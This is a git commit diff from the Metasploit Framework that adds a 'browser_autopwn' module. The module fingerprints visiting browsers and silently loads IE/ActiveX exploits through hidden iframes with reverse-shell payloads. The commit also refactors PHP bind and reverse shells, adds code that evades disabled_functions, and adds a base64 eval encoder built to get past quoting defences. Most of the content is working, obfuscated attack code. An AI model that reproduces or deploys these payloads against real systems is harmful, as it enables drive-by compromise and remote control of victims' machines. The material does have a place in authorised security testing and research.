initial commit of browser_autopwn;

revamp php payloads;
socks5 for IPv6 (untested)



git-svn-id: file:///home/svn/framework3/trunk@5546 4d416f70-5f16-0410-b530-b9f4589650da
unstable
James Lee 2008-07-01 01:44:56 +00:00
parent 3c64c454df
commit 8800372e46
19 changed files with 650 additions and 153 deletions

View File

@ -443,6 +443,7 @@ protected
cli.send_response(response)
end
#
# Sends a 302 redirect relative to our base path
#
@ -451,6 +452,27 @@ protected
end
#
# Sends a 404
#
def send_not_found(cli)
resp_404 = create_response(404, 'Not Found')
resp_404.body = %Q{
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /404.html was not found on this server.</p>
<hr>
<address>Apache/2.2.9 (Unix) Server at #{datastore['LHOST']} Port #{datastore['SRVPORT']}</address>
</body></html>
}
cli.send_response(resp_404)
end
#
# Returns the configured (or random, if not configured) URI path
#

147
lib/msf/core/payload/php.rb Normal file
View File

@ -0,0 +1,147 @@
require 'msf/core'
###
#
###
module Msf::Payload::Php
def initialize(info = {})
super(info)
end
def php_preamble(options = {})
dis = options[:disabled_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
dis = '$' + dis if (dis[0,1] != '$')
@dis = dis
preamble = "
@set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);
#{dis}=@ini_get('disable_functions');
if(!empty(#{dis})){
#{dis}=preg_replace('/[, ]+/', ',', #{dis});
#{dis}=explode(',', #{dis});
#{dis}=array_map('trim', #{dis});
}else{
#{dis}=array();
}
"
return preamble
end
def php_system_block(options = {})
cmd = options[:cmd_varname] || '$cmd'
dis = options[:disabled_varname] || @dis || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
output = options[:output_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
if (@dis.nil?)
@dis = dis
end
cmd = '$' + cmd if (cmd[0,1] != '$')
dis = '$' + dis if (dis[0,1] != '$')
output = '$' + output if (output[0,1] != '$')
is_callable = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
in_array = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
setup = "
#{cmd}=#{cmd}.\" 2>&1\\n\";
#{is_callable}='is_callable';
#{in_array}='in_array';
"
shell_exec = "
if(#{is_callable}('shell_exec')and!#{in_array}('shell_exec',#{dis})){
#{output}=shell_exec(#{cmd});
}else"
passthru = "
if(#{is_callable}('passthru')and!#{in_array}('passthru',#{dis})){
ob_start();
passthru(#{cmd});
#{output}=ob_get_contents();
ob_end_clean();
}else"
system = "
if(#{is_callable}('system')and!#{in_array}('system',#{dis})){
ob_start();
system(#{cmd});
#{output}=ob_get_contents();
ob_end_clean();
}else"
exec = "
if(#{is_callable}('exec')and!#{in_array}('exec',#{dis})){
#{output}=array();
exec(#{cmd},#{output});
#{output}=join(chr(10),#{output}).chr(10);
}else"
proc_open = "
if(#{is_callable}('proc_open')and!#{in_array}('proc_open',#{dis})){
$handle=proc_open(#{cmd},array(array(pipe,r),array(pipe,w),array(pipe,w)),$pipes);
#{output}=NULL;
while(!feof($pipes[1])){
#{output}.=fread($pipes[1],1024);
}
@proc_close($handle);
}else"
popen = "
if(#{is_callable}('popen')and!#{in_array}('popen',#{dis})){
$fp=popen(#{cmd},r);
#{output}=NULL;
if(is_resource($fp)){
while(!feof($fp)){
#{output}.=fread($fp,1024);
}
}
@pclose($fp);
}else"
fail_block = "
{
#{output}=0;
}
"
#exec_methods = [shell_exec, passthru, system, exec, proc_open, popen].sort_by { rand }
exec_methods = [passthru, shell_exec, system, exec, proc_open, popen]#.sort_by { rand }
buf = setup + exec_methods.join("") + fail_block
#buf = Rex::Text.compress(buf)
###
# All of this junk should go in an encoder
#
# Replace all single-quoted strings with quoteless equivalents, e.g.:
# echo('asdf');
# becomes
# echo($a.$s.$d.$f);
# and add "$a=chr(97);" et al to the top of the block
#
# Once this is complete, it is guaranteed that there are no spaces
# inside strings. This combined with the fact that there are no
# function definitions, which require a space between the "function"
# keyword and the name, means we can completely remove spaces.
#
#alpha_used = { 95 }
#buf.gsub!(/'(.*?)'/) {
# str_array = []
# $1.each_byte { |c|
# if (('a'..'z').include?(c.chr))
# alpha_used[c] = 1
# str_array << "$#{c.chr}."
# else
# str_array << "chr(#{c})."
# end
# }
# str_array.last.chop!
# str_array.join("")
#}
#if (alpha_used.length > 1)
# alpha_used.each_key { |k| buf = "$#{k.chr}=chr(#{k});" + buf }
#end
#
#buf.gsub!(/\s*/, '')
#
###
return buf
end
end

View File

@ -39,7 +39,7 @@ class ObfuscateJS
# Returns the dynamic symbol associated with the supplied symbol name
#
def sym(name)
@dynsym[name]
@dynsym[name] || name
end
#

View File

@ -213,12 +213,13 @@ class Rex::Socket::Comm::Local
def self.proxy (sock, type, host, port)
#$stdout.print("PROXY\n")
case type.downcase
when 'socks4'
setup = [4,1,port.to_i].pack('CCn') + Socket.gethostbyname(host)[3] + Rex::Text.rand_text_alpha(rand(8)+1) + "\x00"
size = sock.put(setup)
if (size != setup.length)
raise ArgumentError, "Wrote less data than expected to the socks proxy"
raise ArgumentError, "Wrote less data than expected to the socks4 proxy"
end
begin
@ -234,21 +235,33 @@ class Rex::Socket::Comm::Local
raise "SOCKS4 server responded with error code #{ret[0]}"
end
when 'socks5'
# TODO: add dns lookups through socks5
auth_methods = [5,1,0].pack('CCC')
size = sock.put(auth_methods)
if (size != auth_methods.length)
raise ArgumentError, "Wrote less data than expected to the socks proxy"
raise ArgumentError, "Wrote less data than expected to the socks5 proxy"
end
response = sock.get_once(2,30)
if (0xff == response[1,1])
raise ArgumentError, "Proxy requires authentication"
end
setup = [5,1,0,1].pack('CCCC') + Socket.gethostbyname(host)[3] + [port.to_i].pack('n')
if (Rex::Socket.is_ipv4?(host))
addr = Rex::Socket.gethostbyname(host)[3]
setup = [5,1,0,1].pack('C4') + addr + [port.to_i].pack('n')
elsif (Rex::Socket.support_ipv6? and Rex::Socket.is_ipv6?(host))
# IPv6 stuff all untested
addr = Rex::Socket.gethostbyname(host)[3]
setup = [5,1,0,4].pack('C4') + addr + [port.to_i].pack('n')
else
# Then it must be a domain name.
# Unfortunately, it looks like the host has always been
# resolved by the time it gets here, so this code never runs.
setup = [5,1,0,3].pack('C4') + [host.length].pack('C') + host + [port.to_i].pack('n')
end
size = sock.put(setup)
if (size != setup.length)
raise ArgumentError, "Wrote less data than expected to the socks proxy"
raise ArgumentError, "Wrote less data than expected to the socks5 proxy"
end
begin
@ -257,7 +270,7 @@ class Rex::Socket::Comm::Local
raise Rex::ConnectionRefused.new(host, port), caller
end
if (response.nil? or response.length < 8)
if (response.nil? or response.length < 10)
raise ArgumentError, 'SOCKS5 server did not respond with a proper response'
end
if response[1] != 0

View File

@ -0,0 +1,309 @@
##
# $Id:$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
module Msf
class Auxiliary::Server::BrowserAutoPwn < Msf::Auxiliary
BROWSER_IE = "MSIE"
BROWSER_FF = "Firefox"
BROWSER_SAFARI = "Safari"
OS_LINUX = "Linux"
OS_MAC_OSX = "Mac OSX"
OS_WINDOWS = "Windows"
include Exploit::Remote::HttpServer::HTML
include Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'HTTP Client fingerprinter',
'Version' => '$Revision: $',
'Description' => %q{
Webbrowser fingerprinter and autoexploiter.
},
'Author' => 'egypt <egypt@nmt.edu>',
'License' => BSD_LICENSE,
'Actions' =>
[
[ 'WebServer' ]
],
'PassiveActions' =>
[
'WebServer'
],
'DefaultAction' => 'WebServer'))
register_options([
OptAddress.new('LHOST', [true, 'Your local IP address ror reverse payloads']),
OptPort.new('LPORT', [false, 'For reverse payloads; incremented for each exploit', 4444])
])
@exploits = Hash.new
end
def init_exploit(name)
case name
when %r#exploit/windows#
payload='windows/meterpreter/reverse_tcp'
else
payload='generic/shell_reverse_tcp'
end
@exploits[name] = framework.modules.create(name)
@exploits[name].datastore['SRVPORT'] = datastore['SRVPORT']
# for testing, set the exploit uri to the name of the exploit so it's
# easy to tell what is happening from the browser
@exploits[name].datastore['URIPATH'] = name
@exploits[name].datastore['LPORT'] = @lport
@exploits[name].datastore['LHOST'] = @lhost
@exploits[name].exploit_simple(
'LocalInput' => self.user_input,
'LocalOutput' => self.user_output,
'Target' => 0,
'Payload' => payload,
'RunAsJob' => true)
#print_status("#{name} at uri #{@exploits[name].get_resource} with payload #{payload} and lport #{@lport}")
@lport += 1
end
def setup()
super
@lport = datastore['LPORT'] || 4444
@lhost = datastore['LHOST']
@lport = @lport.to_i
print_status("Starting exploit modules...")
##
# Start all the exploit modules
##
# TODO: add an Automatic target to this guy.
# For now just use the default target of Mac.
# requires javascript
#init_exploit('exploit/multi/browser/firefox_queryinterface')
# works on iPhone
# does not require javascript
#init_exploit('exploit/osx/armle/safari_libtiff')
#init_exploit('exploit/osx/browser/software_update')
#init_exploit('exploit/windows/browser/ani_loadimage_chunksize')
#init_exploit('exploit/windows/browser/apple_quicktime_rtsp')
# Works on default IE 5.5 and 6
# does not require javascript
init_exploit('exploit/windows/browser/ms03_020_ie_objecttype')
# requires javascript
init_exploit('exploit/windows/browser/novelliprint_getdriversettings');
# requires javascript
#init_exploit('exploit/windows/browser/ms06_055_vml_method')
# Works on default IE 5 and 6
# requires javascript
# requires ActiveXObject('DirectAnimation.PathControl')
init_exploit('exploit/windows/browser/ms06_067_keyframe')
# only works on IE with XML Core Services
# requires javascript
# requires classid 88d969c5-f192-11d4-a65f-0040963251e5
init_exploit('exploit/windows/browser/ms06_071_xml_core')
#init_exploit('exploit/windows/browser/winamp_playlist_unc')
# requires UNC path which seems to only work on IE in my tests
#init_exploit('exploit/windows/smb/smb_relay')
end
def on_request_uri(cli, request)
print_status("Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")
browser_make = nil
browser_ver = nil
ua = request['User-Agent']
case (ua)
when /Firefox\/((:?[0-9]+\.)+[0-9]+)/:
ua_name = BROWSER_FF
ua_vers = $1
when /Mozilla\/[0-9]\.[0-9] \(compatible; MSIE ([0-9]\.[0-9]+)/:
ua_name = BROWSER_IE
ua_vers = $1
when /Version\/(\d+\.\d+\.\d+).*Safari/
ua_name = BROWSER_SAFARI
ua_vers = $1
end
case (ua)
when /Windows/:
os_name = OS_WINDOWS
when /Linux/:
os_name = OS_LINUX
when /iPhone/
os_name = OS_MAC_OSX
os_arch = 'armle'
when /Mac OS X/
os_name = OS_MAC_OSX
end
case (ua)
when /PPC/
os_arch = 'ppc'
when /i.86/
os_arch = 'x86'
end
os_name ||= 'Unknown'
print_status("Browser claims to be #{ua_name} #{ua_vers}, running on #{os_name}")
report_note(
:host => cli.peerhost,
:type => 'http_request',
:data => "#{os_name} #{os_arch} #{ua_name} #{ua_vers}"
)
response = create_response()
case request.uri
when datastore['URIPATH']:
# TODO: consider having a javascript timeout function that writes
# each exploit's iframe so they don't step on each other.
# for smb_relay
windows_html = %Q{
<div id="windows">
<img src="\\\\#{@lhost}\\public\\#{Rex::Text.rand_text_alpha(15)}.jpg" style="visibility:hidden" height="1px" width="1px" />
</div>
}
#osx_html = %Q{
# <div id="osx">
# <iframe src="#{@exploits['exploit/osx/armle/safari_libtiff'].get_resource}"
# style="visibility:hidden" height="1px" width="1px" border="none"
# ></iframe>'+
# </div>
# }
var_onload_func = Rex::Text.rand_text_alpha(8)
objects = {
'DirectAnimation.PathControl' => @exploits['exploit/windows/browser/ms06_067_keyframe'].get_resource,
'{88d969c5-f192-11d4-a65f-0040963251e5}' => @exploits['exploit/windows/browser/ms06_071_xml_core'].get_resource,
'{36723F97-7AA0-11D4-8919-FF2D71D0D32C}' => @exploits['exploit/windows/browser/novelliprint_getdriversettings'].get_resource,
}
hash_declaration = objects.map{ |k, v| "'#{k}', '#{v}'," }.join
hash_declaration = hash_declaration[0,hash_declaration.length-1]
script = <<ENDJS
// stolen from http://www.mojavelinux.com/articles/javascript_hashes.html
function Hash()
{
this.length = 0;
this.items = new Array();
for (var current_item = 0; current_item < arguments.length; current_item += 2) {
if (typeof(arguments[current_item + 1]) != 'undefined') {
this.items[arguments[current_item]] = arguments[current_item + 1];
this.length++;
}
}
}
function BodyOnLoad() {
var vuln_obj = null;
var body_elem = document.getElementById('body_id');
// object_list contains key-value pairs like
// {classid} => /path/to/exploit/for/classid
// and
// ActiveXname => /path/to/exploit/for/ActiveXname
var object_list = new Hash(#{hash_declaration});
if (navigator.userAgent.indexof("MSIE") != -1) {
// iterate through our list of exploits
for (var current_item in object_list.items) {
// classids are stored surrounded in braces for an easy way to tell
// them from ActiveX object names, so if it has braces, strip them
// out and create an object element with that classid
if (current_item.substring(0,1) == '{') {
obj_element = document.createElement("object");
obj_element.setAttribute("cl" + "as" + "sid", "cl" + "s" + "id" +":" + current_item.substring( 1, current_item.length - 1 ) ) ;
obj_element.setAttribute("id", current_item);
body_elem.appendChild(obj_element);
vuln_obj = document.getElementById(current_item);
} else {
// otherwise, try to create an AXO with that name
try { vuln_obj = new ActiveXObject(current_item); } catch(e){}
}
if (vuln_obj) {
body_elem.innerHTML += '<p>' + object_list.items[current_item] + '</p>';
//body_elem.innerHTML += '<iframe src="'+
// object_list.items[current_item] +
// '" style="visibility:hidden" height="1px" width="1px" border="none"></iframe>';
}
vuln_obj = null;
}
}
}
ENDJS
js = Rex::Exploitation::ObfuscateJS.new(script)
js.obfuscate(
'Symbols' => {
'Variables' => [ 'object_list', 'obj_element', 'vuln_obj', 'body_elem', 'body_id', 'current_item', 'Hash', 'items', 'BodyOnLoad' ]
}
)
body = <<ENDHTML
<body id="#{js.sym('body_id')}" onload="#{js.sym('BodyOnLoad')}()">
<h1>Please wait while we connect you...</h1>
<!--[if lt IE 7]>
<iframe src="#{@exploits['exploit/windows/browser/ms03_020_ie_objecttype'].get_resource}"
style="visibility:hidden" height="1px" width="1px" border="none"
></iframe>
<![endif]-->
ENDHTML
#body << " <!--[if IE ]> "
#objects.each { |k,v|
# body << "<object classid=\"clsid:#{k[1,k.length-1]}\" id=\"#{k}\"></object>\n";
#}
#body << " <![endif]--> "
response.body = ' <html> <head> <title> Loading </title> '
response.body << ' <script language="javascript">' + script + ' </script> </head> ' + body
if (os_name == OS_WINDOWS)
response.body << windows_html
end
if (os_name == OS_MAC_OSX)
response.body << osx_html
end
response.body << "</body></html>"
response.body = Rex::Text.randomize_space(response.body)
else
print_error("I don't know how to handle that request #{request.uri}, sending 404")
send_not_found(cli)
return false
end
response['Expires'] = '0'
response['Cache-Control'] = 'must-revalidate'
cli.send_response(response)
end
def run
exploit()
end
end
end
=begin
=end

View File

@ -134,7 +134,7 @@ class Auxiliary::Server::Capture::HTTP < Msf::Auxiliary
os_name = 'iPhone'
os_arch = 'armle'
when /Mac OS X/
os = 'Mac'
os_name = 'Mac'
end
case (ua)

View File

@ -0,0 +1,72 @@
##
# $Id: $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
module Msf
module Encoders
module Php
class Base64 < Msf::Encoder
def initialize
super(
'Name' => 'PHP Base64 encoder',
'Version' => '$Revision: $',
'Description' => %q{
This encoder returns a base64 string encapsulated in
eval(base64_decode()), increasing the size by roughly one
third.
},
'Author' => 'egypt <egypt@nmt.edu>',
'License' => BSD_LICENSE,
'Arch' => ARCH_PHP)
end
def encode_block(state, buf)
# PHP escapes quotes by default with magic_quotes_gpc, so we use some
# tricks to get around using them.
#
# The raw, unquoted base64 without the terminating equals works because
# PHP treats it like a string. There are, however, a couple of caveats
# because first, PHP tries to parse the bare string as a constant.
# Because of this, the string is limited to things that can be
# identifiers, i.e., things that start with [a-zA-Z] and contain only
# [a-zA-Z0-9_]. Also, for payloads that encode to more than 998
# characters, only part of the payload gets unencoded on the victim,
# presumably due to a limitation in php identifier names, so we break
# the encoded payload into roughly 900-byte chunks.
b64 = Rex::Text.encode_base64(buf)
# The '=' or '==' used for padding at the end of the base64 encoded
# data is unnecessary and can cause parse errors when we use it as a
# raw string, so strip it off.
b64.gsub!(/[=\n]+/, '')
b64.gsub!(/[+]/, '.chr(0x2b).')
i = 900;
while i < b64.length
while (b64[i].chr =~ /^[0-9]/)
# We must be careful not to begin a chunk with a digit because
# then PHP thinks it's a number and chokes.
i += 1
end
b64.insert(i,'.')
i += 900
end
return "eval(base64_decode(" + b64 + "));"
end
end
end end end

View File

@ -70,7 +70,7 @@ class Exploits::Multi::Browser::Firefox_QueryInterface < Msf::Exploit::Remote
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
handler(cli)
end

View File

@ -85,7 +85,7 @@ class Exploits::Osx::Armle::SafariLibTIFF < Msf::Exploit::Remote
# Grab reference to the target
t = target
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the compressed response to the client
send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })

View File

@ -73,7 +73,7 @@ class Exploits::Osx::Browser::SafariLibTIFF < Msf::Exploit::Remote
# Grab reference to the target
t = target
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the compressed response to the client
send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })

View File

@ -290,7 +290,7 @@ include Exploit::Remote::HttpServer::HTML
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
print_status("Sending ANI file to #{cli.peerhost}:#{cli.peerport}...")
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the compressed response to the client
send_response(cli, generate_ani(p, target), { 'Content-Type' => 'application/octet-stream' })

View File

@ -66,7 +66,7 @@ class Exploits::Windows::Browser::Apple_Quicktime_RTSP < Msf::Exploit::Remote
content << "<embed autoplay=\"true\" moviename=\"#{cruft}\" " + "qtnext=\"#{cruft}\" type=\"video/quicktime\" "
content << "src=\"rtsp://#{cruft}:#{sploit}\" />\n"
print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
print_status("Sending #{self.name} to #{client.peerhost}:#{client.peerport}...")
send_response(client, content, { 'Content-Type' => 'text/html' })

View File

@ -99,7 +99,7 @@ class Exploits::Windows::Browser::MS03_020_Ie_ObjectType < Msf::Exploit::Remote
"</object>" +
"</html>"
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)

View File

@ -72,7 +72,7 @@ class Exploits::Windows::Browser::MS06_067_KEYFRAME < Msf::Exploit::Remote
def on_request_uri(cli, request)
return if ((p = regenerate_payload(cli)) == nil)
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# This is taken directly from Alex's exploit -- all credit goes to him.
trigger_js = heaplib(

View File

@ -129,7 +129,7 @@ class Exploits::Windows::Browser::MS06_071_XML_CORE < Msf::Exploit::Remote
content = Rex::Text.randomize_space(content)
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)

View File

@ -106,7 +106,7 @@ class Exploits::Windows::Browser::NovelliPrint_GetDriverSettings < Msf::Exploit:
content = Rex::Text.randomize_space(content)
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
print_status("Sending #{self.name}to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)

View File

@ -11,6 +11,7 @@
require 'msf/core'
require 'msf/core/payload/php'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
@ -22,13 +23,14 @@ module Php
module BindPhp
include Msf::Payload::Single
include Msf::Payload::Php
def initialize(info = {})
super(merge_info(info,
'Name' => 'PHP Command Shell, Bind TCP (via php)',
'Version' => '$Revision$',
'Description' => 'Listen for a connection and spawn a command shell via php (persistent)',
'Author' => ['diaul <diaul@devilopers.org>',],
'Author' => ['egypt', 'diaul <diaul@devilopers.org>',],
'License' => BSD_LICENSE,
'Platform' => 'php',
'Arch' => ARCH_PHP,
@ -47,34 +49,37 @@ module BindPhp
# PHP Bind Shell
#
def php_bind_shell
dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4);
shell = <<-END_OF_PHP_CODE
error_reporting(E_ALL);
#{php_preamble({:disabled_varname => dis})}
$port=#{datastore['LPORT']};
set_time_limit(0);
ob_implicit_flush();
$port = #{datastore['LPORT']};
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$ret = socket_bind($sock, 0, $port);
$ret = socket_listen($sock, 5);
$msgsock = socket_accept($sock);
while (true)
{
$command = socket_read($msgsock, 2048, PHP_NORMAL_READ);
$output = shell_exec(substr($command, 0, -1));
socket_write($msgsock, $output, strlen($output));
$scl='socket_create_listen';
if(is_callable($scl)&&!in_array($scl,#{dis})){
$sock=$scl($port);
}else{
$sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
$ret=socket_bind($sock,0,$port);
$ret=socket_listen($sock,5);
}
$msgsock=socket_accept($sock);
socket_close($sock);
while(FALSE!==socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL))
{
$c=socket_read($msgsock,2048,PHP_NORMAL_READ);
if(FALSE===$c){break;}
#{php_system_block({:cmd_varname=>"$c", :output_varname=>"$o", :disabled_varname => dis})}
socket_write($msgsock,$o,strlen($o));
}
socket_close($msgsock);
END_OF_PHP_CODE
return shell
end
#
# Constructs the payload
#
@ -82,7 +87,6 @@ module BindPhp
return super + php_bind_shell
end
end
end end end end

View File

@ -1,5 +1,5 @@
##
# $Id:$
# $Id$
##
##
@ -11,6 +11,7 @@
require 'msf/core'
require 'msf/core/payload/php'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
@ -22,6 +23,7 @@ module Php
module ReversePerl
include Msf::Payload::Single
include Msf::Payload::Php
def initialize(info = {})
super(merge_info(info,
@ -47,7 +49,11 @@ module ReversePerl
# Constructs the payload
#
def generate
return super + "system(base64_decode('#{Rex::Text.encode_base64(command_string)}'))"
buf = "#{php_preamble}"
buf += "$c = base64_decode('#{Rex::Text.encode_base64(command_string)}');"
buf += "#{php_system_block({:cmd_varname=>"$c"})}"
return super + buf
end
#

View File

@ -11,6 +11,7 @@
require 'msf/core'
require 'msf/core/payload/php'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
@ -22,6 +23,7 @@ module Php
module ReversePhp
include Msf::Payload::Single
include Msf::Payload::Php
def initialize(info = {})
super(merge_info(info,
@ -43,20 +45,6 @@ module ReversePhp
))
end
#
# PHP Reverse Shell completely without quotes. Strings and regexes
# are replaced with chr() equivalents and the IP address to connect to is
# replaced with integer equivalent wrapped in long2ip().
#
# Attempts to make a connection back to the attacker using fsockopen or
# socket_create and associated functions. Then attempts to execute a
# system command with the following functions, in order:
# - shell_exec
# - passthru
# - system
# - exec
# - proc_open
# - popen
#
# Issues
# - Since each command is executed in a new shell, 'cd' does nothing.
@ -64,7 +52,9 @@ module ReversePhp
# - Tries to get around disable_functions but makes no attempts to
# circumvent safe mode.
# - Should this add '2>&1' to the end of the executed command to avoid
# logging suspicious error messages?
# logging suspicious error messages? I'm afraid this will break
# the payload, especially on Windows, but I also don't like my tools
# ratting on me to the administrator.
#
def php_reverse_shell
@ -76,113 +66,48 @@ module ReversePhp
ipaddr = datastore['LHOST'].split(/\./).map{|c| c.to_i}.pack("C*").unpack("N").first
port = datastore['LPORT']
end
exec_funcname = Rex::Text.rand_text_alpha(5)
#
# The regex looks like this unobfuscated:
# preg_replace('/[, ]+/', ',', $disabled);
#
shell=<<-END_OF_PHP_CODE
$ipaddr=long2ip(#{ipaddr});
$port=#{port};
$_=chr(95);$a=chr(97);$b=chr(98);$c=chr(99);$d=chr(100);$e=chr(101);
$f=chr(102);$h=chr(104);$i=chr(105);$k=chr(107);$l=chr(108);$m=chr(109);
$n=chr(110);$o=chr(111);$p=chr(112);$r=chr(114);$s=chr(115);$t=chr(116);
$u=chr(117);$x=chr(120);$y=chr(121);
$disabled=@ini_get($d.$i.$s.$a.$b.$l.$e.$_.$f.$u.$n.$c.$t.$i.$o.$n.$s);
if(!empty($disabled)){
$disabled=preg_replace(chr(47).chr(91).chr(44).chr(32).chr(93).chr(43).chr(47),chr(44),$disabled);
$disabled=explode(chr(44),$disabled);
$disabled=array_map($t.$r.$i.$m,$disabled);
}else{
$disabled=array();
}
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set($m.$a.$x.$_.$e.$x.$e.$c.$u.$t.$i.$o.$n.$_.$t.$i.$m.$e,0);
function myexec($cmd){
global$disabled,$_,$a,$c,$e,$h,$m,$n,$o,$p,$r,$s,$t,$u,$x,$y;
if(is_callable($s.$h.$e.$l.$l.$_.$e.$x.$e.$c)and!in_array($s.$h.$e.$l.$l.$_.$e.$x.$e.$c,$disabled)){
$output=shell_exec($cmd);
return$output;
}elseif(is_callable($p.$a.$s.$s.$t.$h.$r.$u)and!in_array($p.$a.$s.$s.$t.$h.$r.$u,$disabled)){
ob_start();
passthru($cmd);
$output=ob_get_contents();
ob_end_clean();
return$output;
}elseif(is_callable($s.$y.$s.$t.$e.$m)and!in_array($s.$y.$s.$t.$e.$m,$disabled)){
ob_start();
system($cmd);
$output=ob_get_contents();
ob_end_clean();
return$output;
}elseif(is_callable($e.$x.$e.$c)and!in_array($e.$x.$e.$c,$disabled)){
$output=array();
exec($cmd,$output);
$output=join(chr(10),$output).chr(10);
return$output;
}elseif(is_callable($p.$r.$o.$c.$_.$o.$p.$e.$n)and!in_array($p.$r.$o.$c.$_.$o.$p.$e.$n,$disabled)){
$handle=proc_open($cmd,array(array(pipe,r),array(pipe,w),array(pipe,w)),$pipes);
$output=NULL;
while(!feof($pipes[1])){
$output.=fread($pipes[1],1024);
}
@proc_close($handle);
return$output;
}elseif(is_callable($p.$o.$p.$e.$n)and!in_array($p.$o.$p.$e.$n,$disabled)){
$fp=popen($cmd,r);
$output=NULL;
if(is_resource($fp)){
while(!feof($fp)){
$output.=fread($fp,1024);
}
}
@pclose($fp);
return$output;
}else{
return false;
}
}
$command=NULL;
$nofuncs=$n.$o.chr(32).$e.$x.$e.$c.chr(32).$f.$u.$n.$c.$t.$i.$o.$n.$s.chr(32).chr(61).chr(40);
if(is_callable($f.$s.$o.$c.$k.$o.$p.$e.$n)and!in_array($f.$s.$o.$c.$k.$o.$p.$e.$n,$disabled)){
$sock=fsockopen($ipaddr,$port);
while($cmd=fread($sock,2048)){
$output=myexec(substr($cmd,0,-1));
if($output===false){
fwrite($sock,$nofuncs);
#{php_preamble({:disabled_varname => "$dis"})}
if(!function_exists('myexec')){function myexec($c){
global$dis;
#{php_system_block({:cmd_varname => "$c", :disabled_varname => "$dis", :output_varname => "$o"})}
return$o;
}}
$nofuncs='no exec functions';
if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){
$s=fsockopen($ipaddr,$port);
while($c=fread($s,2048)){
$out=myexec(substr($c,0,-1));
if($out===false){
fwrite($s,$nofuncs);
break;
}
fwrite($sock,$output);
fwrite($s,$out);
}
fclose($sock);
fclose($s);
}else{
$sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
socket_connect($sock,$ipaddr,$port);
while($cmd=socket_read($sock,2048)){
$output=myexec(substr($cmd,0,-1));
if($output===false){
socket_write($sock,$nofuncs);
$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
socket_connect($s,$ipaddr,$port);
socket_write($s,"socket_create");
while($c=socket_read($s,2048)){
$out=myexec(substr($c,0,-1));
if($out===false){
socket_write($s,$nofuncs);
break;
}
socket_write($sock,$output,strlen($output));
socket_write($s,$out,strlen($out));
}
socket_close($sock);
socket_close($s);
}
END_OF_PHP_CODE
# randomize the spaces a bit
shell.gsub!(/\s+/) { |s|
len = rand(5)+2
set = "\x09\x20\x0a"
buf = ''
while (buf.length < len)
buf << set[rand(set.length)].chr
end
buf
}
Rex::Text.randomize_space(shell)
return shell
end
@ -194,7 +119,6 @@ module ReversePhp
return super + php_reverse_shell
end
end
end end end end